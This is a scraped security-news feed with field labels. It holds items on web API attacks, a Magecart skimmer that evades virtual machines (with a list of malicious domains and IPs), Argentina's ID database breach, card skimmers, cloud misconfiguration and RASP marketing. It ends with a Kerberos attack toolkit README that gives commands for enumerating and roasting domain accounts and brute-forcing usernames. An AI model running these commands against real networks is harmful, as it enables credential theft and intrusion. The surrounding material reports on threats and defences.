"Businesses are seeing more traffic through their web applications than ever before, in particular APIs," continued Klimek. "More than 70% of web traffic now comes through APIs, meaning businesses' exposure is only getting higher. It's no longer enough to have a WAF in place and hope for the best - businesses need to invest in a comprehensive Web Application and API Protection (WAAP) stack featuring elements like RASP and Advanced Bot Protection, allowing them to secure everything from edge to database."

# data[].attributes.attachment_link.title
Web app attacks are skyrocketing, it's time to protect APIs - Help Net Security

# data[].attributes.attachment_link.description
Web app attacks against UK businesses have increased by 251% since October 2019, putting both organizations and consumers at risk, an Imperva reserach reveals. In a study of nearly 4.7 million web application-related cyber security incidents, Imperva Research Labs finds that attacks are increasing, on average, by 22% each quarter.

# data[].attributes.headline
Facial Recognition for Covid-19 Tracking in Seoul

# data[].attributes.subject
Facial Recognition for Covid-19 Tracking in Seoul

# data[].attributes.body
#biometric #facial

# data[].attributes.attachment_link.readable_text
The city of Bucheon, population 830,000, is a satellite city southwest of Seoul and part of the greater metropolitan area and the site of a pilot program to apply AI facial recognition and tracking technologies to aid Covid-19 epidemiological investigators. South Korea has been generally praised for its rapid response to coronavirus patient tracking since the beginning of the outbreak. People entering public facilities enter their information on a roster or scan a QR code. Epidemiologists tracking outbreaks use a variety of data available to them, including these logs, electronic transaction data, mobile phone location logs, CCTV footage, and interviews. But the workload can be overwhelming, and there are only a fixed number of workers with the required training available, despite efforts to hire more.

As contract tracing has been done to-date, it takes one investigator up to an hour to trace the movements of one patient. When the system goes online in January, it should be able to trace one patient in less than a minute, handling up to ten traces simultaneously. Project officials say there is no plan for this system to expand to the rest of Seoul, nor nationwide. But with the growing virus caseloads and continued difficulties hiring and training investigators, it's not unexpected that officials will be turning to these technologies more and more to keep up with the increasing workload.

Like the controversy surrounding the recent facial recognition project at Incheon International Airport, people are becoming concerned about the privacy implications and the specter of a Big Brother government that tracks each and every move of its citizens - a valid fear, given the state of technology today. The project planners note that the data is being legally collected and its usage subject to strict rules. Korean privacy law requires consent for the collecting and storage of biometric data. But there are exceptions for situations such as disease control and prevention.

Even if all the privacy concerns are solves, we wonder just how effective these AI systems will be for tracking people wearing masks. This is not an issue unique to South Korea or even Asia. Many countries around the world are turning to such technologies ( see this article from the Columbia School of Law) and are having similar struggles striking the balance between privacy and public health requirements.

[Banner image: " facial-recognition-1 " by Electronic_Frontier_Foundation. Thanks for all you do!]

# data[].attributes.attachment_link.title
Facial Recognition For Covid-19 Tracking In Seoul

# data[].attributes.attachment_link.description
The city of Bucheon, population 830,000, is a satellite city southwest of Seoul and part of the greater metropolitan area and the site of a pilot program to apply AI facial recognition and tracking technologies to aid Covid-19 epidemiological investigators. South Korea has been generally praised for its rapid response to coronavirus patient tracking since the beginning of the outbreak.

# data[].attributes.body
#passport

# data[].attributes.attachment_link.readable_text
Officials at the United States Immigration and Customs Enforcement's (ICE) Homeland Security Investigations (HSI) department in Texas have issued a warning about a new phone scam.

Threat actors carrying out the malicious campaign have been impersonating special agents at the San Antonio HSI to call up members of the public.

Victims are told that a problem has been detected with their passport. They are then threatened with arrest by the imposter agent unless they make a payment to the HSI.

"The scammers claim the passport is involved in some type of crime and threaten the caller by indicating police will be dispatched to their home to arrest them," said officials at the San Antonio ICE in a scam warning issued November 4.

The fraudsters have found a way to make it appear to the victim that the call they are receiving is coming from the HSI San Antonio main phone number, 210-979-4500.

"HSI special agents and local police do not call people on the phone to warn them they are about to be arrested," said HSI officials.

"Agents neither request financial information, such as bank account and credit card account information, nor demand money from someone to dismiss an investigation or remove an arrest warrant."

Members of the public who receive a threatening call or message from the spoofed HSI main line number are advised not to give out any personal or financial information and to end the conversation immediately if threats and intimidation persist.

HSI added that individuals who are targeted by the scammers can help law enforcement to catch the criminals by trying to collect contact information from the caller and reporting it to the anonymous ICE tip line, 1 (866) 347-2423 or completing the online tip form.

In July, ICE officials in Virginia warned international students that its phone number was being spoofed to trick individuals studying in the United States on student visas into making fraudulent payments and giving out sensitive personal information.

The scammers behind that campaign asked international students for payments in Bitcoin, a currency not accepted by the federal government.

# data[].attributes.attachment_link.description
Officials at the United States Immigration and Customs Enforcement's (ICE) Homeland Security Investigations (HSI) department in Texas have issued a warning about a new phone scam. Threat actors carrying out the malicious campaign have been impersonating special agents at the San Antonio HSI to call up members of the public.

# data[].attributes.headline
Credit card skimmer evades Virtual Machines

# data[].attributes.subject
Credit card skimmer evades Virtual Machines

# data[].attributes.body
#smartcard #skimming

# data[].attributes.attachment_link.readable_text
This blog post was authored by Jérôme Segura
There are many techniques threat actors use to slow down analysis or, even better, evade detection. Perhaps the most popular method is to detect virtual machines commonly used by security researchers and sandboxing solutions.

Reverse engineers are accustomed to encountering code snippets that check certain registry keys, looking for specific values indicating the presence of VMware or Virtual Box, two of the most popular pieces of virtualization software. Many malware families incorporate these anti-vm features, usually as a first layer.

For web threats, it is more rare to see detection of virtual machines via the browser. Typically threat actors are content with filtering targets based on geolocation and user-agent strings. But that feature does exist in modern browsers and can be quite effective.

In this blog post we show how a Magecart threat actor distributing a digital skimmer is avoiding researchers and possibly sandboxes by ensuring users are running genuine computers and not virtual ones.

Virtual Machine detection

Our investigation started by looking at a newly reported domain that could possibly be related to Magecart. Suspicious JavaScript is being loaded alongside an image of payment methods. Note that browsing directly to the URL will return a decoy Angular library.

There is one interesting function within this skimmer script that uses the WebGL JavaScript API to gather information about the user's machine. We can see that it identifies the graphics renderer and returns its name.

For many Virtual Machines, the graphics card driver will be a software renderer fallback from the hardware (GPU) renderer. Alternatively, it could be supported by the virtualization software but still leak its name.

We notice that the skimmer is checking for the presence of the words swiftshader, llvmpipe and virtualbox. Google Chrome uses SwiftShader while Firefox relies on llvmpipe as its renderer fallback.

By performing this in-browser check, the threat actor can exclude researchers and sandboxes and only allow real victims to be targeted by the skimmer.

Data exfiltration

If the machine passes the check, the personal data exfiltration process can take place normally. The skimmer scrapes a number of fields including the customer's name, address, email and phone number as well as their credit card data.

It also collects any password (many online stores allow customers to register an account), the browser's user-agent and a unique user ID. The data is then encoded and exfiltrated to the same host via a single POST request:

Evasion and defenders

This is not surprising to see such evasion techniques being adopted by criminals, however it shows that as we get better at detecting and reporting attacks, threat actors also evolve their code eventually. This is a natural trade-off that we must expect.

In addition to code obfuscation, anti-debugger tricks and now anti-vm checks, defenders will have to spend more time to identify and protect against those attacks or at least come up with effective countermeasures.

Malwarebytes users are protected against this campaign:

Indicators of Compromise (IOCs)

cdn[.]megalixe[.]org
con[.]digital-speed[.]net
apis[.]murdoog[.]org
static[.]opendwin[.]com
css[.]tevidon[.]com
mantisadnetwork[.]org
static[.]mantisadnetwork[.]org
stage[.]sleefnote[.]com
js[.]speed-metrics[.]com
troadster[.]com
nypi[.]dc-storm[.]org
web[.]webflows[.]net
js[.]librarysetr[.]com
librarysetr[.]com
opendwin[.]com
app[.]rolfinder[.]com
libsconnect[.]net
artesfut[.]com
js[.]artesfut[.]com
js[.]rawgit[.]net
js[.]demo-metrics[.]net
demo-metrics[.]net
dev[.]crisconnect[.]net
m[.]brands-watch[.]com
graph[.]cloud-chart[.]net
hal-data[.]org
stage[.]libsconnect[.]net
app[.]iofrontcloud[.]com
iofrontcloud[.]com
alligaturetrack[.]com
webflows[.]net
web[.]webflows[.]net
tag[.]listrakbi[.]biz
api[.]abtasty[.]net
cloud-chart[.]net
graph[.]cloud-chart[.]net
cdn[.]getambassador[.]net
climpstatic[.]com
stst[.]climpstatic[.]com
marklibs[.]com
st[.]adsrvr[.]biz
cdn[.]cookieslaw[.]org
clickcease[.]biz
89.108.127[.]254
89.108.127[.]16
82.202.161[.]77
89.108.116[.]123
82.202.160[.]9
89.108.116[.]48
89.108.123[.]28
89.108.109[.]167
89.108.110[.]208
50.63.202[.]56
212.109.222[.]225
82.202.160[.]8
82.202.160[.]137
192.64.119[.]156
89.108.109[.]169
82.202.160[.]10
82.202.160[.]54
82.146.50[.]89
82.202.160[.]123
82.202.160[.]119
194.67.71[.]75
77.246.157[.]133
82.146.51[.]242
89.108.127[.]57
82.202.160[.]8
185.63.188[.]84
89.108.123[.]168
77.246.157[.]133
185.63.188[.]85
82.146.51[.]202
185.63.188[.]59
89.108.123[.]169
185.63.188[.]71
89.108.127[.]16
82.202.161[.]77

# data[].attributes.attachment_link.title
Credit card skimmer evades Virtual Machines

# data[].attributes.attachment_link.description
After code obfuscation, anti-debugger tricks we now see virtual machine detection used by credit card skimmers.

# data[].attributes.headline
Hacker steals government ID database for Argentina’s entire population

# data[].attributes.subject
Hacker steals government ID database for Argentina’s entire population

# data[].attributes.body
#digitalid

# data[].attributes.attachment_link.readable_text
A hacker has breached the Argentinian government's IT network and stolen ID card details for the country's entire population, data that is now being sold in private circles.

The hack, which took place last month, targeted RENAPER, which stands for Registro Nacional de las Personas, translated as National Registry of Persons.

The agency is a crucial cog inside the Argentinian Interior Ministry, where it is tasked with issuing national ID cards to all citizens, data that it also stores in digital format as a database accessible to other government agencies, acting as a backbone for most government queries for citizen's personal information.

Lionel Messi and Sergio Aguero data leaked on Twitter

The first evidence that someone breached RENAPER surfaced earlier this month on Twitter when a newly registered account named @AnibalLeaks published ID card photos and personal details for 44 Argentinian celebrities.

This included details for the country's president Alberto Fernández, multiple journalists and political figures, and even data for soccer superstars Lionel Messi and Sergio Aguero.

A day after the images and personal details were published on Twitter, the hacker also posted an ad on a well-known hacking forum, offering to look up the personal details of any Argentinian user.

Image: The Record

Faced with a media fallback following the Twitter leaks, the Argentinian government confirmed a security breach three days later.

In an October 13 press release, the Ministry of Interior said its security team discovered that a VPN account assigned to the Ministry of Health was used to query the RENAPER database for 19 photos "in the exact moment in which they were published on the social network Twitter."

Officials added that "the [RENAPER] database did not suffer any data breach or leak," and authorities are now currently investigating eight government employees about having a possible role in the leak.

Hacker has a copy of the data, plans to sell and leak it

However, The Record contacted the individual who was renting access to the RENAPER database on hacking forums.

In a conversation earlier today, the hacker said they have a copy of the RENAPER data, contradicting the government's official statement.

The individual proved their statement by providing the personal details, including the highly sensitive Trámite number, of an Argentinian citizen of our choosing.

"Maybe in a few days I'm going to publish [the data of] 1 million or 2 millon people," the RENAPER hacker told The Record earlier today. They also said they plan to continue selling access to this data to all interested buyers.

When The Record shared a link to the government's press release in which officials blamed the intrusion on a possibly compromised VPN account, the hacker simply replied "careless employees yes," indirectly confirming the point of entry.

According to a sample provided by the hacker online, the information they have access to right now includes full names, home addresses, birth dates, gender info, ID card issuance and expiration dates, labor identification codes, Trámite numbers, citizen numbers, and government photo IDs.

Argentina currently has an estimated population of more than 45 million, although it's unclear how many entries are in the database. The hacker claimed to have it all.

This is the second major security breach in the country's history after the Gorra Leaks in 2017 and 2019 when hacktivists leaked the personal details of Argentinian politicians and police forces.

# data[].attributes.attachment_link.title
Hacker steals government ID database for Argentina's entire population

# data[].attributes.attachment_link.description
A hacker has breached the Argentinian government's IT network and stolen ID card details for the country's entire population, data that is now being sold in private circles. The hack, which took place last month, targeted RENAPER , which stands for Registro Nacional de las Personas, translated as National Registry of Persons.

# data[].attributes.headline
Costco says card skimmers were found at Chicago-area warehouses, less than 500 people affected

# data[].attributes.subject
Costco says card skimmers were found at Chicago-area warehouses, less than 500 people affected

# data[].attributes.body
#smartcard #skimming

# data[].attributes.attachment_link.readable_text
Costco has confirmed a card skimming attack that forced them to send out notification letters to victims last week.

In a statement to ZDNet, the global retail giant said that in August, they discovered five card skimmers on payment card devices in four of their Chicago-area warehouses.

"We promptly removed the skimmers, notified law enforcement, and engaged a forensics firm to analyze the devices," a Costco spokesperson said.

"It appears that these skimmers had the ability to capture information on the magnetic stripe of a payment card, including name, card number, expiration date, and CVV. We identified the members who conducted swipe payment card transactions on the affected devices during the relevant time period and notified them individually. We also offered them complimentary credit monitoring and identity theft-related services," the company added.

The spokesperson said less than 500 customers were affected by the situation and that all of the customers were notified by letter on November 5.

The company believes the attack took place in August but did not answer questions about how long they believe the card skimmers were active.

Costco inspectors did not find similar card skimmers at any other locations, according to their spokesperson. Costco is the fifth largest retailer in the world and fourth largest in the US, with 810 stores worldwide.

Multiple people from across the globe took to social media over the past few weeks to complain about fraudulent charges tied to their Costco credit cards or accounts. Others said they began to see the charges after using their cards at Costco locations, particularly Costco gas stations.

"Noticed a fraudulent charge on my credit card, so I called to get it handled. The guy on the phone asked if I pay at the pump usually for gas, and I said yes. Apparently, skimmers for information are common on pay at pump systems and car washes," one Reddit user wrote. "That was the only place he saw in my history that was likely to have stolen my information. He recommended paying inside, but Costco doesn't even have that option. Just a reminder to always check your credit card statements and watch for fraudulent charges!"

The letter Costco sent to the hundreds of victims they believe were affected by the card skimming attack advises the victims to call their bank to "discuss possible options for avoiding potential problems in case" their card was inappropriately used.

Costco is offering victims IDX identity theft protection services which include 12 months of credit monitoring, a $1 million insurance reimbursement policy, and ID theft recovery services.

# data[].attributes.attachment_link.title
Costco says card skimmers were found at Chicago-area warehouses, less than 500 people affected | ZDNet

# data[].attributes.attachment_link.description
Costco has confirmed a card skimming attack that forced them to send out notification letters to victims last week. In a statement to ZDNet, the global retail giant said that in August, they discovered five card skimmers on payment card devices in four of their Chicago-area warehouses.

# data[].attributes.headline
Delivering on the Promise of 5G Requires New Security Standards

# data[].attributes.subject
Delivering on the Promise of 5G Requires New Security Standards

# data[].attributes.body
#5g

# data[].attributes.attachment_link.readable_text
5G has the potential to deliver incredible innovations - from smart cities to self-driving cars to advances in healthcare, manufacturing, and other key verticals. While 5G improves upon previous generations' cybersecurity vulnerabilities, it also brings new risks:

● 5G is software-defined. The increased role of software in 5G makes it more susceptible to dynamic, software-based attacks on the software that manages the network and the network itself.

● 5G will accelerate IoT. Frost & Sullivan predicted there will be 67.7 billion IoT devices in service by 2025. Each of these devices represents expanding attack surfaces and potential entry points for cyber attackers to gain access to the network and its connected devices. This opens up a wealth of frightening possibilities for attackers - from taking over a webcam or manipulating sensor readings to far more serious implications like crashing a power station, shutting off a pacemaker, or even taking control of a car.

● 5G has a complex supply chain. 5G's decentralized, open source foundation is made up of a complex, interconnected supply chain of networks (as recent high-profile breaches can attest), mobile operators, and suppliers that creates new opportunities for cyber attacks.

Developing security standards across the 5G ecosystem

These fundamental network changes lay the foundation for innovation, but also create an expanded attack surface for dynamic, software-based cyber threats. As a result, in order to deliver on the promise of 5G, we need new industry standards for security, testing, and training.

The 5G ecosystem of mobile operators, device manufacturers, vertical industries, standards bodies (such as 3GPP), and regulators must come together to reassess current security standards and provide updated recommendations before 5G scales. These new standards should communicate steps that businesses can take to proactively combat 5G cyber threats and minimize risks, including the following strategies.

1. Build cybersecurity into the software development lifecycle

Security by design means integrating security measures into each stage of the software development process - from requirements, design, and implementation to testing and deployment. This philosophy focuses on proactively preventing breaches instead of reactively repairing them and is critical as the number of 5G-enabled devices and networks proliferates.

Building security into software early and from the ground up not only mitigates risk, but creates more effective and reliable applications by discovering and addressing potential vulnerabilities. This ensures security is always top of mind, helps identify potential design flaws early, and lowers overall development costs. Ultimately these important steps reduce potential risks for organizations and help to protect end users from breaches.

2. Take a holistic approach to continuous testing

Security is never static. Attackers are always looking for new vulnerabilities to exploit and the only way to stay ahead of them is through continuous validation. While device penetration tests are valuable, they overlook two major factors: the network infrastructure and networking blind spots. Additionally, penetration tests are only valid for a limited period of time; results become outdated after changes are made to the device software, the network configuration, or security policies.

5G security standards should include the implementation of breach and attack simulation, using automated tools that are regularly updated to detect the latest threats. Continuous testing goes beyond a simple penetration test and should include a full suite of attack vectors, helping to expose vulnerabilities throughout the network's core and edge - covering both security gateways and endpoint devices. As dynamic attacks continue to shift in a 5G environment, a continuous testing strategy dynamically minimizes risk.

3. Develop comprehensive training for cybersecurity teams

Learning how to manage the high-stress situation of a network breach is critical for security teams today. As part of the 5G security standards, security teams should undergo hands-on security simulation training so they can know what an attack looks like and practice responding to it before it happens.

Cyber range environments offer realistic, virtual attack simulations using the actual network equipment and systems used by the team every day. In these exercises, team members are assigned roles on the "defender" or "attacker" teams, and practice detecting and containing attack vectors, evasions, good traffic, and attack life cycles in a simulated hostile environment. These exercises enable cybersecurity teams to learn key lessons that dramatically improve their ability to thrive under pressure in the event of a real breach scenario.

Redefining security standards for the 5G era

In order to stay ahead of the evolving landscape of 5G vulnerabilities and threats, mobile carriers, suppliers and businesses need to implement new security, testing, and training standards across their organizations. With industry cooperation and collaboration, this new security framework will proactively protect 5G users and deliver on the near limitless potential of 5G.

Marie Hattar is chief marketing officer (CMO) at Keysight Technologies. She has more than 20 years of marketing leadership experience spanning the security, routing, switching, telecom and mobility markets. Before becoming Keysight's CMO, Marie was CMO at Ixia and at Check Point Software Technologies. Prior to that, she was Vice President at Cisco where she led the company's enterprise networking and security portfolio and helped drive the company's leadership in networking. Marie also worked at Nortel Networks, Alteon WebSystems, and Shasta Networks in senior marketing and CTO positions. Marie received a master's degree in Business Administration in Marketing from York University and a Bachelor's degree in Electrical Engineering from the University of Toronto.

Previous Columns by Marie Hattar:
Tags:

# data[].attributes.attachment_link.title
Delivering on the Promise of 5G Requires New Security Standards | SecurityWeek.Com

# data[].attributes.attachment_link.description
5G has the potential to deliver incredible innovations - from smart cities to self-driving cars to advances in healthcare, manufacturing, and other key verticals. While 5G improves upon previous generations' cybersecurity vulnerabilities, it also brings new risks: ● 5G is software-defined.

# data[].attributes.headline
Google advises passwords are good, spear phishing is bad, and free clouds get attacked

# data[].attributes.subject
Google advises passwords are good, spear phishing is bad, and free clouds get attacked

# data[].attributes.body
#googlecloud

# data[].attributes.attachment_link.readable_text
Google's Cybersecurity Action Team has released its first "threat horizon" report on the scary things it's found on the internet.

The advertising giant launched the Team in October 2021, when execs said its ambition was to become "the world's premier security advisory team" and dispense advice that will improve cyber resilience for all.

The Team's first report offers six nuggets of intelligence, and The Register believes none will surprise readers.

One describes a North Korean government-backed attacker group that has moved on from trying to attack security researchers and now poses as recruitment consultants from Samsung. The group targets workers at South Korean anti-malware devs and sends them poisoned PDFs that, if clicked, drop an executable that allows limited remote control of a victim PC.

The report says it's a significant attack because sites like LinkedIn let crims target email-borne attacks, while PDF readers remain a fine way to compromise systems.

Thanks for the intelligence from 2010, Google - spear phishing is not new!

Google did offer a more novel phishing finding, in the news that Russia's Fancy Bear crime gang has tried to reuse code it deployed in an attack on Yahoo! mail to attack Gmail. Fancy Bear's lazy graphic designers couldn't match Google's CSS, so the login pages sent to targets looked a little bit off. Google has warned us all to watch out for that sort of thing.

Another flash of insight from the report advises that analysis of 50 recently hijacked Google Cloud instances revealed 86 per cent were put to work mining cryptocurrency. Crims got in because, in 48 per cent of cases, operators didn't have a password, had a weak password, or didn't bother authenticating APIs.

"Google Cloud customers who stand up non-secure Cloud instances will likely be detected and attacked in a relatively short period of time," the Team warns.

Thanks, Google! We're not sure Reg readers could have figured out that authentication and security are good ideas all on their own. A look at the very nasty BlackMatter ransomware is accompanied by the following piercing analysis:

The presence of BlackMatter ransomware on a network is an indication that a network has been compromised through another means.

Which clears things up nicely. We thought ransomware was brought by a stork.

The Team also spotted abuse of the free tier of Google's cloud to generate bogus YouTube traffic - another attack your correspondent fancies readers may have encountered before.

The Register will leave it to you, dear reader, to determine whether or (cough) not (cough) the document meets Google's aim of delivering "the world's best security advice".

Perhaps future reports, which are promised to offer "Early Warning announcements about emerging threats requiring immediate action" will prove a little more exciting. ®

# data[].attributes.attachment_link.title
Google's first infosec report offers oddly basic advice

# data[].attributes.attachment_link.description
Google's Cybersecurity Action Team has released its first "threat horizon" report on the scary things it's found on the internet. The advertising giant launched the Team in October 2021, when execs said its ambition was to become "the world's premier security advisory team" and dispense advice that will improve cyber resilience for all.

# data[].attributes.body
#aws #cloudcomputing

# data[].attributes.attachment_link.readable_text
Swift cloud adoptions spurred on by the global pandemic has led to oversights, errors, or ill-informed cloud service configuration choices (commonly referred to misconfigurations). You may have heard that securing the cloud can be complex, but something as "simple" to stop as a misconfiguration can ultimately lead to the unintended exposure of mission-critical information and assets.

Major cosmetic retailer, Estee Lauder, experienced a major breach due to a misconfiguration, resulting in more than 440 million records being exposed. And they weren't the only company to face the music. In fact, misconfigurations are most significant risks to cloud environments, causing 65 to 70% of all security challenges in the cloud.

If misconfigurations are relatively straightforward to stop, then why are they so common? The cloud is comprised of a multitude of settings, policies, assets, and interconnected services and resources, making it a sophisticated environment to fully understand and properly set up.

This is especially true for organizations that have been pushed to migrate quickly to the cloud since remote work became the new norm. Unfortunately, when organizations start using any new technology too quickly without fully understanding its many intricacies, misconfigurations can occur.

The responsibility isn't on your cloud service provider (CSP) either-CSPs do their part in the shared responsibility model by designing, implementing, and constantly reviewing their infrastructure. However, misconfigurations can still occur when cloud assets and services are set up incorrectly on the user side, leaving an impact on the quality of cloud applications.

Clearly, cloud adopters need to know the commonly occurring misconfigurations to mitigate them before malicious actors get wind of them and cause more significant harm. That's why we analyzed data gathered through Trend Micro Cloud One™ - Conformity within a one-year period (June 30, 2020 to June 29, 2021) to determine the top 10 AWS services with the highest misconfiguration rates regarding the implementation of Conformity rules.

Top 10 AWS services with the highest misconfiguration rates

To determine the top 10 misconfigurations, we looked at the AWS services with the greatest number of Conformity checks. These checks are the result of the Conformity rules scanned or run against our Conformity customers' configuration of infrastructures or resources. A single cloud service can have numerous Conformity rules regularly scanning it to check for vulnerabilities and risks. These scans will subsequently result in checks. Each Conformity rule comes with a corresponding implementation, and the checks that run against the rules determine the success or failure of these implementations.

It should be noted that the number of checks does not represent the level of misconfiguration or the risk level of a particular service. Conformity users can choose to run a few or numerous checks simultaneously against their infrastructures and resources. We then highlighted their respective misconfiguration rates, which are the percentage of rules found to be unsuccessfully implemented after a scan.

Next, we highlighted their respective misconfiguration rates, as shown in Figure 1. This is the percentage of rules found to be unsuccessfully implemented after a scan.

# data[].attributes.attachment_link.description
Swift cloud adoptions spurred on by the global pandemic has led to oversights, errors, or ill-informed cloud service configuration choices (commonly referred to misconfigurations). You may have heard that securing the cloud can be complex, but something as "simple" to stop as a misconfiguration can ultimately lead to the unintended exposure of mission-critical information and assets.

# data[].attributes.headline
What You Can Do to Mitigate Cloud Misconfigurations

# data[].attributes.subject
What You Can Do to Mitigate Cloud Misconfigurations

# data[].attributes.body
#cloudcomputing #cloudsecurity

# data[].attributes.attachment_link.readable_text
Our data also showed a high frequency of Amazon Simple Storage Service (S3) rule violations. Still, it is necessary to examine the data further before fearing for the worst. For one, not all Amazon S3 buckets are supposed to be encrypted. In some instances, encryption is not needed. These are cases where the data needs to be served in clear text such as for public sites or data that needs to be openly accessed through an application.

While encryption can be done on a case-to-case basis, data classification cannot and should be done in all instances. What are you putting into the storage container? Should it be encrypted? It is necessary to always answer these questions. Since cloud security posture management (CSPM) technologies should not have access to your data (and neither should your cloud provider), it is up to your organization to determine the encryption level of your data. It is therefore a must for organizations to review whether they do conduct such assessments, as well as if they have visibility over what is happening within their cloud.

Overall, the high-severity misconfigurations we enumerated in our report can lead to significant consequences, mostly because of their potential for data breaches. Some of the consequences of data breach include reputational damage, data privacy law violations, and operational issues.

The worst-case scenario that a data breach can have for organizations is the loss of business. Customers and businesses expect the strongest security with respect to their data and intellectual property. If any of these are violated, organizations will likely face reputational damage.

What can you do to mitigate cloud misconfigurations?

The good thing about misconfigurations is that you can do something about them. What makes attacks that stem from a misconfiguration difficult to live down is how they could have been easily avoided had the misconfiguration been noticed in the first place. Nevertheless, we still recommend learning what you can do to mitigate cloud misconfigurations.
Automating security
Automation and visibility are the number one problem we see within our customer cloud environments today. While there is indeed talent in tech to handle safely moving to the cloud, there is also a shortage of employees. DevOps teams are building at record pace and releasing applications daily or hourly, but security teams cannot always keep up. One way they can do so is to automate and augment their work. Having software-defined infrastructure (SDI), infrastructure as code (IaC), and up-to-date templates and containers assist with respect to automation and augmentation.
Automating compliance
Building compliance into the automation cycle used by the organization should be considered a baseline measure. This is an important standard set by cloud providers. With regard to the cloud, security must go beyond various global standards to include those referenced by cloud providers, in addition to best practices for an organization's specific industry.
Upskilling the workforce
The cloud and DevOps are developing quickly. However, cybersecurity is not ingrained in students or future programmers. Programmers do not have an inherent security-driven focus when developing their work, so bugs that affect security happen constantly. IaC and SDI, as well as the integration of CSPM in the DevOps cycle, help with this challenge. In short, upskilling people can ensure security from the design phase. As the saying goes, "shifting left" is good, but "starting left" is better.

Overall, it is important to understand that the cloud is fallible. Its security is a responsibility shared by the cloud service provider (CSP) and the organization. Organizations should thus do their part and live up to their role in keeping their cloud environments secure.

This can be a daunting task, especially when organizations have had to quickly cope with the demands of a global pandemic. Still, security must be prioritized to avoid even heavier consequences and to build more confidence in cloud environments.

# data[].attributes.attachment_link.title
What You Can Do to Mitigate Cloud Misconfigurations

# data[].attributes.attachment_link.description
Our data also showed a high frequency of Amazon Simple Storage Service (S3) rule violations. Still, it is necessary to examine the data further before fearing for the worst. For one, not all Amazon S3 buckets are supposed to be encrypted. In some instances, encryption is not needed.

# data[].attributes.headline
A Complete Guide to Cloud-Native Application Security

# data[].attributes.subject
A Complete Guide to Cloud-Native Application Security

# data[].attributes.body
#cloudcomputing #cloudnative

# data[].attributes.attachment_link.readable_text
However, these tools have downsides that may cause more challenges for DevOps teams:

SAST has difficulties scanning and reporting on cloud-native applications because static tools only see the application source code it can follow. As more cloud-native apps are now developed with libraries and third-party components, this generates failures in the tool processing these links.

DAST interactively testing the applications from the outside requires the application to be fully built upon every code change. As DAST requires the application to be fully built upon every code change, this prevents the application from fitting well into an agile CI/CD pipeline. It also only provides an external view of security, while forgoing what's happening inside the application.

Both SAST and DAST are older technologies which provide less effective security for cloud-native applications and can impede on faster agile deployment strategies where DevOps teams require security tools to keep up with the pace of development.

IAST is an evolution to combine the benefits of both SAST and DAST with a developer-friendly approach. It is designed to work with development, testing, and/or QA environments to identify security vulnerabilities inside the application. In addition, it can be used in production environments to test traffic rapidly. This instant feedback can then be easily used to remediate via automation, or back to the developer, for code changes-typically actioned in the next application build.

There is an urgent need to implement modern security that will protect production applications from malicious and unforeseen threats in real time. Through deep instrumentation, application security must be able to detect weaknesses and vulnerabilities across today's modern code streams-as well as platforms like APIs, containers, and serverless applications-without deploying numerous tools and relying on multiple skill sets.

Application security must also bring greater value to both security champions and application engineers by deploying security that can improve the pace of remediation and response. This allows organizations to monitor traffic and block attacks in real-time.

A New Type of Application Security is Needed: "RASP"

Gartner defines runtime application self-protection (RASP) as, "a security technology that is built or linked into an application or application runtime environment and is capable of controlling application execution and detecting and preventing real-time attacks".

RASP provides a level of visibility and detection that network security controls cannot achieve by operating within the context of the application. Instead of monitoring the application for potentially malicious inputs, RASP only processes inputs that could change the behavior or operation of the application.

RASP has two modes:

1. In detect mode, the software monitors calls to the application and sounds an alarm if a suspect call is made.

2. In mitigate mode, RASP can prevent the execution of suspect instructions or terminate a user session.

This approach has the potential to increase accuracy without significantly impacting the performance of the application.

Benefits of RASP

Security is provided anywhere you choose to place your application

Embedded via code so doesn't slow down development

Offers real-time protection and insight at runtime

Vulnerability coverage is comprehensive and automatic

Works at scale and tailored for scaling applications

Provides insight into the application behavior that perimeter security lacks

Introducing Trend Micro Cloud One™ - Application Security

Application Security is an evolution in protection, providing real-time application security-as-a-service. Delivered as part of its industry-leading Trend Micro Cloud One™ platform, Application Security provides code-level visibility and protection against the latest cyber threats from the inside. You can quickly and easily build protection into your application with just two lines of code, helping to minimize your risk and deliver greater visibility into the safety of your applications.

Application Security allows you to:

Detect and block vulnerabilities and malware automatically at runtime

Gain visibility into application threats with detailed forensics that investigate right down to the line of code

Utilize protection that is difficult to evade or bypass

Analyze the execution of the app

Install IPS rules for vulnerabilities in web applications

Use broad platform support to maintain your legacy applications and security for modern architectures. This including containers and serverless compute environments

Use broad language support for traditional application designs, as well as cloud-native architectures

Manage centralized visibility and control with Trend Micro Cloud One management

Application Security reduces the need for multiple application security tools across old and new platforms as well as coding languages. This security provides active guardrails and runs as a passive background process that doesn't interfere with your release pipeline and schedule.

Once deployed, Applications Security notifies your security and operations teams according to pre-configured policies and provides them with highly accurate attack forensics to facilitate an effective response.

In addition, Application Security guards against determined attackers who are continuously running scanners against your application, creating malicious user accounts, fuzzing various elements, triggering exceptions, and attempting to run exploitation tools.

Trend Micro Cloud One Secures Your Applications at Runtime

By embedding Application Security in your applications, you will receive alerts as soon as attackers begin conducting scans and attacks. You won't just be able to stop runtime attacks before they occur, but the capability for developers to pinpoint vulnerabilities in their code that the attack could exploit.

# data[].attributes.attachment_link.title
A Complete Guide to Cloud-Native Application Security

# data[].attributes.attachment_link.description
However, these tools have downsides that may cause more challenges for DevOps teams: SAST has difficulties scanning and reporting on cloud-native applications because static tools only see the application source code it can follow. As more cloud-native apps are now developed with libraries and third-party components, this generates failures in the tool processing these links.

# data[].attributes.body
#cloudcomputing #cloudsecurity #testtool

# data[].attributes.attachment_link.readable_text
Kerberos attack toolkit -pure python-

Install
pip3 install kerberoast
Prereqirements

Python 3.6 See requirements.txt

For the impatient

Steps -with SSPI-: kerberoast auto <DC_ip>

Steps -SSPI not used-:

1. Look for vulnerable users via LDAP
kerberoast ldap all <ldap_connection_url> -o ldapenum

2. Use ASREP roast against users in the ldapenum_asrep_users.txt file
kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txt

3. Use SPN roast against users in the ldapenum_spn_users.txt file
kerberoast spnroast <kerberos_connection_url> -t ldapenum_spn_users.txt

4. Crack SPN roast and ASPREP roast output with hashcat

Commands

ldap

This command group is for enumerating potentially vulnerable users via LDAP.

Command structure

kerberoast ldap <type> <ldap_connection_url> <options>

Type: It supports three types of users to be enumerated

1. spn Enumerates users with servicePrincipalName attribute set.

2. asrep Enumerates users with DONT_REQ_PREAUTH flag set in their UAC attribute.

3. all Startes all the above mentioned enumerations.

ldap_connection_url: Specifies the usercredential and the target server in the msldap url format (see help)

options:
-o: Output file base name

brute

This command is to perform username enumeration by brute-forcing the kerberos service with possible username candidates

Command structure

kerberoast brute <realm> <dc_ip> <targets> <options>

